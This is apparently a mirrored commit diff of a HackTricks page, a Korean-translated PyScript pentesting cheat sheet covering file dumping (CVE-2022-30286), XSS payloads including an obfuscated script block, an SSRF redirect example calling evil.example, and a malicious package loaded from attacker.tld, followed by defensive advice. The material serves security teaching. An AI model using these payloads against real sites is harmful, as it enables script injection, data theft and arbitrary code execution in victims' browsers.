mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/pyscript.md'
This commit is contained in:
parent
1ba577c4e3
commit
a03278c0f0
@ -4,9 +4,9 @@
|
||||
|
||||
## PyScript 펜테스팅 가이드
|
||||
|
||||
PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다.
|
||||
PyScript는 HTML에 Python을 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다.
|
||||
|
||||
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프/검색하기:
|
||||
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프 / 검색하기:
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
@ -47,9 +47,9 @@ body: JSON.stringify({ content: btoa(console.logs) }),
|
||||
```
|
||||

|
||||
|
||||
### 크로스 사이트 스크립팅 (일반)
|
||||
### 크로스 사이트 스크립팅 (일반)
|
||||
|
||||
코드:
|
||||
Code:
|
||||
```python
|
||||
<py-script>
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
||||
Code:
|
||||
```html
|
||||
<py-script>
|
||||
prinht("
|
||||
prinht(""
|
||||
<script>
|
||||
var _0x3675bf = _0x5cf5
|
||||
function _0x5cf5(_0xced4e9, _0x1ae724) {
|
||||
@ -140,7 +140,7 @@ return _0x34a15f
|
||||
return _0x599c()
|
||||
}
|
||||
</script>
|
||||
")
|
||||
"")
|
||||
</py-script>
|
||||
```
|
||||

|
||||
@ -156,4 +156,62 @@ print(" &
|
||||
```
|
||||

|
||||
|
||||
---
|
||||
|
||||
## 새로운 취약점 및 기술 (2023-2025)
|
||||
|
||||
### 제어되지 않는 리디렉션을 통한 서버 측 요청 위조 (CVE-2025-50182)
|
||||
|
||||
`urllib3 < 2.5.0`은 PyScript와 함께 제공되는 **Pyodide 런타임** 내에서 실행될 때 `redirect` 및 `retries` 매개변수를 무시합니다. 공격자가 대상 URL에 영향을 미칠 수 있는 경우, 개발자가 명시적으로 비활성화했음에도 불구하고 Python 코드가 교차 도메인 리디렉션을 따르도록 강제할 수 있습니다 ‑ 사실상 anti-SSRF 로직을 우회하는 것입니다.
|
||||
```html
|
||||
<script type="py">
|
||||
import urllib3
|
||||
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
|
||||
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
|
||||
print(r.status, r.url)
|
||||
</script>
|
||||
```
|
||||
`urllib3 2.5.0`에서 패치됨 – PyScript 이미지에서 패키지를 업그레이드하거나 `packages = ["urllib3>=2.5.0"]`에서 안전한 버전을 고정하세요. 자세한 내용은 공식 CVE 항목을 참조하세요.
|
||||
|
||||
### 임의 패키지 로딩 및 공급망 공격
|
||||
|
||||
PyScript는 `packages` 목록에 임의의 URL을 허용하므로, 구성을 수정하거나 주입할 수 있는 악의적인 행위자는 피해자의 브라우저에서 **완전히 임의의 Python**을 실행할 수 있습니다:
|
||||
```html
|
||||
<py-config>
|
||||
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
|
||||
</py-config>
|
||||
<script type="py">
|
||||
import payload # executes attacker-controlled code during installation
|
||||
</script>
|
||||
```
|
||||
*오직 순수-Python 휠만 필요하며, WebAssembly 컴파일 단계는 필요하지 않습니다.* 구성은 사용자 제어가 아니어야 하며, HTTPS 및 SRI 해시와 함께 신뢰할 수 있는 휠을 자신의 도메인에 호스팅해야 합니다.
|
||||
|
||||
### 출력 정화 변경 사항 (2023+)
|
||||
|
||||
* `print()`는 여전히 원시 HTML을 주입하므로 XSS에 취약합니다 (위의 예시 참조).
|
||||
* 새로운 `display()` 도우미는 **기본적으로 HTML을 이스케이프**합니다 – 원시 마크업은 `pyscript.HTML()`로 감싸야 합니다.
|
||||
```python
|
||||
from pyscript import display, HTML
|
||||
|
||||
display("<b>escaped</b>") # renders literally
|
||||
|
||||
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
|
||||
```
|
||||
이 동작은 2023년에 도입되었으며 공식 Built-ins 가이드에 문서화되어 있습니다. 신뢰할 수 없는 입력에 대해서는 `display()`를 사용하고 `print()`를 직접 호출하는 것을 피하십시오.
|
||||
|
||||
---
|
||||
|
||||
## 방어적 모범 사례
|
||||
|
||||
* **패키지를 최신 상태로 유지** – `urllib3 >= 2.5.0`으로 업그레이드하고 사이트와 함께 제공되는 휠을 정기적으로 재구축하십시오.
|
||||
* **패키지 출처 제한** – PyPI 이름이나 동일 출처 URL만 참조하고, 이상적으로는 Sub-resource Integrity (SRI)로 보호하십시오.
|
||||
* **콘텐츠 보안 정책 강화** – 인라인 JavaScript(`script-src 'self' 'sha256-…'`)를 허용하지 않아 주입된 `<script>` 블록이 실행되지 않도록 합니다.
|
||||
* **사용자 제공 `<py-script>` / `<script type="py">` 태그 금지** – 다른 사용자에게 다시 에코하기 전에 서버에서 HTML을 정화하십시오.
|
||||
* **작업자 격리** – 작업자에서 DOM에 대한 동기식 접근이 필요하지 않은 경우, `sync_main_only` 플래그를 활성화하여 `SharedArrayBuffer` 헤더 요구 사항을 피하십시오.
|
||||
|
||||
## 참조
|
||||
|
||||
* [NVD – CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
|
||||
* [PyScript Built-ins documentation – `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user